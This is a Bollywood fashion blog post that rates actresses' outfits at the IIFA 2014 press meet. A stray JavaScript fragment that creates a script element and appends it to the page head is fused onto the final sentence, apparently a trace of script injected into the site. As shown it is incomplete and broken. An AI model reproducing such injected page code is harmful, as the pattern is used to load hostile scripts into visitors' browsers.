A range of Bollywood celebrities graced the IIFA 2014 press meet with their presence. Spotted having a fun time were Anil Kapoor, Madhuri Dixit, Bipasha Basu, Kareena Kapoor with her lovely beau, Saif Ali Khan.
Just looking at them, got me thinking how adorably cute they look together, Saif and Kareena I mean. They were meant to be together and I guess age is no bar! And the way they playfully stood together, holding hands, stealing glances and being all lovey dovey was too cute.
Okay! Back to the topic, so here’s what these pretty ladies wore at the IIFA press meet! You likey?
Madhuri Dixit is the prettiest lady in Bollywood! Sridevi and Madhuri Dixit made such a royal comeback that it’s difficult for us to ignore them! But there are times we wish, we could ignore them. One such time is now, don’t get me wrong, she looks absolutely amazing In this Pankaj and Nidhi dress, but isn’t she the odd one out? Given that both Kareena and Bipasha have gone the traditional way? But that’s just my way of thinking. If I am to rate her on her dress and not the dressing according to her peers, then I would given her an 8/10!
So, I just went numb looking at her. I couldn’t decide if I liked what she wore or I didn’t. I mean I still can’t decide. Why Bips? The saree is nice, the blouse is what?! The statement necklace is nice and those heels are quite lovely. But everything looks good individually, not on the whole. Her make up is fab! The winged liner is perfect! And then the hair do matches her outfit. Maybe if she would just lose the statement neck piece and opt for something golden, perhaps? Entire appearance on the whole? I would say 6/10
Uh la la! Kareena Kapoor is on a roll! This Nawabi Begum has once again surprised us with this amazing Anand Kabra suit. We love her palazzo’s, the detailing on her sleeves and brownie points for teaming it up with amazing temple jewelry!! Her make up? Gosh!!! Perfect! Her hair? Wow! On the whole, her entire appearance? 10/10!!var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’).appendChild(s);